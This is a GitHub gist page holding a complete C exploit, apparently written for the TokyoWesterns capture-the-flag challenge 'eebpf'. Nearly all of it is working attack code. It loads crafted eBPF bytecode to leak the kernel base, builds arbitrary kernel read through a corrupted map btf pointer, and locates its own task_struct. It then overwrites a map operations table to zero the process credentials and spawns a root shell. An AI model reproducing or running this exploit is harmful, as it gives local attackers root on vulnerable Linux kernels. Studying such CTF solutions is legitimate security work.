Last active
March 1, 2021 11:02
-
-
Save SiD3W4y/4bb38f4d1c664eb83383a425191905d8 to your computer and use it in GitHub Desktop.
tokyowesterns eebpf exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <unistd.h> | |
#include <err.h> | |
#include <sys/socket.h> | |
#include <linux/bpf.h> | |
#include <linux/filter.h> | |
#include <bpf/bpf.h> | |
#include "simple_bpf.h" | |
#define MAGIC_MAP_FD 42 | |
#define BPF_ARRAY_START_OFF 0xd0 | |
#define CRED_UID_OFF 0x4 | |
#define SO_ATTACH_BPF 50 | |
uint8_t bpf_code[176] = { 191, 162, 0, 0, 0, 0, 0, 0, 7, 2, 0, 0, 248, 255, 255, 255, 122, 2, 0, 0, 0, 0, 0, 0, 24, 17, 0, 0, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 133, 0, 0, 0, 1, 0, 0, 0, 85, 0, 1, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0, 121, 3, 0, 0, 0, 0, 0, 0, 183, 1, 0, 0, 0, 0, 0, 64, 231, 1, 0, 0, 32, 0, 0, 0, 189, 19, 2, 0, 0, 0, 0, 0, 183, 0, 0, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0, 231, 3, 0, 0, 2, 0, 0, 0, 199, 3, 0, 0, 2, 0, 0, 0, 191, 1, 0, 0, 0, 0, 0, 0, 31, 48, 0, 0, 0, 0, 0, 0, 121, 2, 0, 0, 0, 0, 0, 0, 123, 33, 0, 0, 0, 0, 0, 0, 183, 0, 0, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0 }; | |
uint8_t store_relative[248] = { 191, 162, 0, 0, 0, 0, 0, 0, 7, 2, 0, 0, 248, 255, 255, 255, 122, 2, 0, 0, 0, 0, 0, 0, 24, 17, 0, 0, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 133, 0, 0, 0, 1, 0, 0, 0, 85, 0, 1, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0, 121, 3, 0, 0, 0, 0, 0, 0, 183, 1, 0, 0, 0, 0, 0, 64, 231, 1, 0, 0, 32, 0, 0, 0, 189, 19, 2, 0, 0, 0, 0, 0, 183, 0, 0, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0, 231, 3, 0, 0, 2, 0, 0, 0, 199, 3, 0, 0, 2, 0, 0, 0, 191, 1, 0, 0, 0, 0, 0, 0, 31, 48, 0, 0, 0, 0, 0, 0, 191, 6, 0, 0, 0, 0, 0, 0, 191, 162, 0, 0, 0, 0, 0, 0, 7, 2, 0, 0, 248, 255, 255, 255, 122, 2, 0, 0, 1, 0, 0, 0, 24, 17, 0, 0, 42, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 133, 0, 0, 0, 1, 0, 0, 0, 85, 0, 1, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0, 121, 1, 0, 0, 0, 0, 0, 0, 123, 22, 0, 0, 0, 0, 0, 0, 183, 0, 0, 0, 0, 0, 0, 0, 149, 0, 0, 0, 0, 0, 0, 0 }; | |
// Socketpair used to execute the bpf program | |
static int pair[2]; | |
// BPF program_fd | |
static int program_fd = 0; | |
// BPF map fd | |
static int map_fd = 0; | |
// Logging buffer for ebpf | |
static char logbuf[4096]; | |
// The current task address | |
uint64_t kern_base = 0; | |
uint64_t current_task = 0; | |
uint64_t cred_struct = 0; | |
// explmap fd -> buffer we control with a known address in the kernel | |
static int explmap_fd = 0; | |
uint64_t explmap_ptr = 0; | |
// 0xffffffff8155947c : mov dword ptr [rcx], 0 ; ret | |
#define LOCAL 0 | |
#define KERNEL_BASE 0xffffffff81000000 | |
#if LOCAL | |
#define TASK_STRUCT_PID_OFF 0x4c8 | |
#define TASK_STRUCT_TASKS_OFF 0x3c8 | |
#define BTF_PTR_OFF 0xd0-0x40 | |
#define BTF_ID_OFF 0x58 | |
#define FILE_PRIVATE_DATA 0xc8 | |
#define TASK_STRUCT_CRED_OFF 0x670 | |
#define TASK_STRUCT_FILES_OFF 0x6c8 | |
#define FILES_STRUCT_FD_ARRAY 0xa0 | |
uint64_t ARRAY_MAP_OPS_OFF = 0xffffffff81e2dd00 - KERNEL_BASE; | |
uint64_t INIT_TASK = 0xffffffff82212780 - KERNEL_BASE; | |
uint64_t ARRAY_MAP_UPDATE_ELEM = 0xffffffff81231d19 - KERNEL_BASE; | |
uint64_t MOV_DW_RCX_0 = 0xffffffff8155947c - KERNEL_BASE; | |
#else | |
#define TASK_STRUCT_PID_OFF 0x360 | |
#define TASK_STRUCT_TASKS_OFF 0x260 | |
#define BTF_PTR_OFF 0xd0-0x38 | |
#define BTF_ID_OFF 0x58 | |
#define FILE_PRIVATE_DATA 0xc0 | |
#define TASK_STRUCT_CRED_OFF 0x500 | |
#define TASK_STRUCT_FILES_OFF 0x540 | |
#define FILES_STRUCT_FD_ARRAY 0xa0 | |
uint64_t ARRAY_MAP_OPS_OFF = 0xffffffff81a0dec0 - KERNEL_BASE; | |
uint64_t INIT_TASK = 0xffffffff81c114c0 - KERNEL_BASE; | |
uint64_t ARRAY_MAP_UPDATE_ELEM = 0xffffffff810dbae0 - KERNEL_BASE; | |
uint64_t MOV_DW_RCX_0 = 0xffffffff810933bc - KERNEL_BASE; | |
#endif | |
// 0xffffffff81e11c08 | |
static void display_debug_bpf(struct bpf_insn* instructions, size_t count) | |
{ | |
printf("---- Instructions ----\n"); | |
for (size_t i = 0; i < count; i++) | |
{ | |
struct bpf_insn* insn = &instructions[i]; | |
printf("[%3i] { op = %02x, dst_reg = %i, src_reg = %i, off = %i, imm = %i }\n", | |
i, | |
insn->code, | |
insn->dst_reg, | |
insn->src_reg, | |
insn->off, | |
insn->imm); | |
} | |
} | |
static uint64_t leak_relative(uint64_t offset) | |
{ | |
int index = 0; | |
if (bpf_map_update_elem(map_fd, &index, &offset, BPF_ANY) == -1) | |
err(1, "leak_relative_map_update"); | |
// Write to socket to execute bpf | |
if (write(pair[1], logbuf, 1) == -1) | |
err(1, "leak_relative_exec"); | |
uint64_t result = 0xdeadbeef; | |
if (bpf_map_lookup_elem(map_fd, &index, &result) == -1) | |
err(1, "bpf_map_lookup_elem"); | |
return result; | |
} | |
static void init_exploit(void) | |
{ | |
// Create the bpf map that we will use to feed variables to the exploit. | |
map_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, | |
sizeof(int), | |
sizeof(uint64_t), | |
256, | |
0); | |
if (map_fd == -1) | |
err(1, "bpf_create_map"); | |
// We wan't a well known fd as our bpf code is compiled separately. | |
map_fd = dup2(map_fd, MAGIC_MAP_FD); | |
// Write oob target at the beginning of the map | |
int index = 0; | |
uint64_t value = 0x8; | |
if (bpf_map_update_elem(map_fd, &index, &value, BPF_ANY) == -1) | |
err(1, "bpf_map_update_elem"); | |
// Setting ebpf code | |
size_t inscount = sizeof(bpf_code) / sizeof(struct bpf_insn); | |
program_fd = bpf_load_program(BPF_PROG_TYPE_SOCKET_FILTER, | |
(struct bpf_insn *)bpf_code, inscount, "MIT", 0, logbuf, sizeof(logbuf)); | |
// Try to load the program, fingers crossed ! | |
if (program_fd == -1) | |
{ | |
printf("--- logbuf ---\n %s\n", logbuf); | |
err(1, "bpf_load_program"); | |
} | |
printf("[+] eBPF program was validated\n"); | |
// Now attach and run the bpf code | |
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pair) == -1) | |
err(1, "socketpair"); | |
if (setsockopt(pair[0], SOL_SOCKET, SO_ATTACH_BPF, &program_fd, sizeof(program_fd)) == -1) | |
err(1, "setsockopt"); | |
printf("[+] eBPF program attached\n"); | |
} | |
static void init_stage2(void) | |
{ | |
close(pair[0]); | |
close(pair[1]); | |
size_t inscount = sizeof(store_relative) / sizeof(struct bpf_insn); | |
program_fd = bpf_load_program(BPF_PROG_TYPE_SOCKET_FILTER, | |
(struct bpf_insn *)store_relative, inscount, "MIT", 0, logbuf, sizeof(logbuf)); | |
if (program_fd == -1) | |
{ | |
printf("--- logbuf ---\n %s\n", logbuf); | |
err(1, "bpf_load_program"); | |
} | |
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pair) == -1) | |
err(1, "socketpair"); | |
if (setsockopt(pair[0], SOL_SOCKET, SO_ATTACH_BPF, &program_fd, sizeof(program_fd)) == -1) | |
err(1, "setsockopt"); | |
printf("[+] Stage2 program loaded\n"); | |
} | |
void relative_write(uint64_t address, uint64_t value) | |
{ | |
int index = 0; | |
if (bpf_map_update_elem(map_fd, &index, &address, BPF_ANY) == -1) | |
err(1, "write_relative_offset_update"); | |
index = 1; | |
if (bpf_map_update_elem(map_fd, &index, &value, BPF_ANY) == -1) | |
err(1, "write_relative_offset_update"); | |
// Write to socket to execute bpf | |
if (write(pair[1], logbuf, 1) == -1) | |
err(1, "leak_relative_exec"); | |
} | |
uint32_t read_u32(uint64_t address) | |
{ | |
// Overwrite bpf_map->btf pointer | |
relative_write(BTF_PTR_OFF, address - BTF_ID_OFF); | |
struct bpf_map_info info = {0}; | |
int len = sizeof(info); | |
if (bpf_obj_get_info_by_fd(map_fd, &info, &len) == -1) | |
err(1, "bpf_obj_get_info_by_fd"); | |
uint64_t high = info.btf_key_type_id; | |
uint64_t low = info.btf_value_type_id; | |
// We null out the btf pointer otherwise the kernel will crash after | |
// the program returns (it will try to destroy the btf object). | |
relative_write(BTF_PTR_OFF, 0); | |
return info.btf_id; | |
} | |
uint64_t read_u64(uint64_t address) | |
{ | |
uint64_t lo = read_u32(address); | |
uint64_t hi = read_u32(address + 4); | |
return (hi << 32) | lo; | |
} | |
static void create_explmap(void) | |
{ | |
explmap_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, | |
sizeof(int), | |
sizeof(uint64_t), | |
256, | |
0); | |
if (explmap_fd < 0) | |
err(1, "explmap_fd create"); | |
// Now find the file struct corresponding to explmap_fd | |
uint64_t files_ptr = read_u64(current_task + TASK_STRUCT_FILES_OFF); | |
printf("[+] current_task->files = 0x%llx\n", files_ptr); | |
uint64_t file_ptr = read_u64(files_ptr + FILES_STRUCT_FD_ARRAY + (explmap_fd * 8)); | |
printf("[+] file struct = 0x%llx\n", file_ptr); | |
explmap_ptr = read_u64(file_ptr + FILE_PRIVATE_DATA); | |
printf("[+] explmap address: 0x%llx\n", explmap_ptr); | |
} | |
static void write_null_u32(uint64_t address) | |
{ | |
int idx = 0; | |
uint64_t value = 0; | |
if (bpf_map_update_elem(map_fd, &idx, &value, address) == -1) | |
err(1, "write_null_u32"); | |
} | |
static void init_stage3(void) | |
{ | |
// Create explmap and get its address | |
create_explmap(); | |
// Copy bpf_map_ops inside explmap and replace map_update_elem by the address | |
// of our 'mov dword ptr [rcx], 0; ret' gagdet | |
uint64_t bpf_ops_ptr = read_u64(explmap_ptr); | |
uint64_t map_update_elem_addr = kern_base + ARRAY_MAP_UPDATE_ELEM; | |
for (int i = 0; i < 21; i++) | |
{ | |
uint64_t fn_ptr = read_u64(bpf_ops_ptr + (i * 8)); | |
if (fn_ptr == map_update_elem_addr) | |
{ | |
printf("[+] Found array_map_update_elem at slot %i\n", i); | |
fn_ptr = kern_base + MOV_DW_RCX_0; | |
} | |
if (bpf_map_update_elem(explmap_fd, &i, &fn_ptr, BPF_ANY) == -1) | |
err(1, "explmap_update_vtable_copy"); | |
} | |
// Now write fake vtable address into original map | |
relative_write(BPF_ARRAY_START_OFF, explmap_ptr + BPF_ARRAY_START_OFF); | |
// Overwrite uid/gid/euid/etc... | |
write_null_u32(cred_struct + 3); | |
write_null_u32(cred_struct + 8); | |
write_null_u32(cred_struct + 0x13); | |
write_null_u32(cred_struct + 0x18); | |
} | |
int main(void) | |
{ | |
init_exploit(); | |
// Step 1: kASLR infoleak | |
// Found by experimentation | |
uint64_t array_map_ops_leak = leak_relative(0xd0); | |
kern_base = array_map_ops_leak - ARRAY_MAP_OPS_OFF; | |
printf("[+] Array map ops: 0x%llx\n", array_map_ops_leak); | |
printf("[+] Found kernel base: 0x%llx\n", kern_base); | |
// Step 2: Arbitrary read, find current_task task_struct | |
init_stage2(); | |
#if LOCAL | |
current_task = kern_base + INIT_TASK; | |
#else | |
uint64_t init_ptr = kern_base + (0xffffffff81c11720 - KERNEL_BASE); | |
current_task = read_u64(init_ptr) - TASK_STRUCT_TASKS_OFF; | |
#endif | |
printf("[+] init_task: 0x%llx\n", current_task); | |
pid_t cur_pid = getpid(); | |
for (;;) | |
{ | |
if (current_task == 0) | |
errx(1, "Could not find current process task"); | |
uint32_t pid = read_u32(current_task + TASK_STRUCT_PID_OFF); | |
if (cur_pid == pid) | |
{ | |
printf("[+] Found current process task: 0x%llx\n", current_task); | |
break; | |
} | |
// Read pointer to next task_struct | |
current_task = read_u64(current_task + TASK_STRUCT_TASKS_OFF); | |
// The next node is the address of the tasks list head of the next task | |
// struct. We remove the offset (container_of). | |
current_task -= TASK_STRUCT_TASKS_OFF; | |
} | |
cred_struct = read_u64(current_task + TASK_STRUCT_CRED_OFF); | |
printf("[+] Struct creds: 0x%llx\n", cred_struct); | |
// Step 3: Getting arbitrary write (well only a write dword 0 because I am | |
// too lazy to find something generic). | |
init_stage3(); | |
int uid = getuid(); | |
if (uid == 0) | |
{ | |
printf("[+] Got root !!!\n"); | |
char* args[] = {"sh", "-i", NULL}; | |
execve("/bin/sh", args, NULL); | |
printf("execve failed\n"); | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment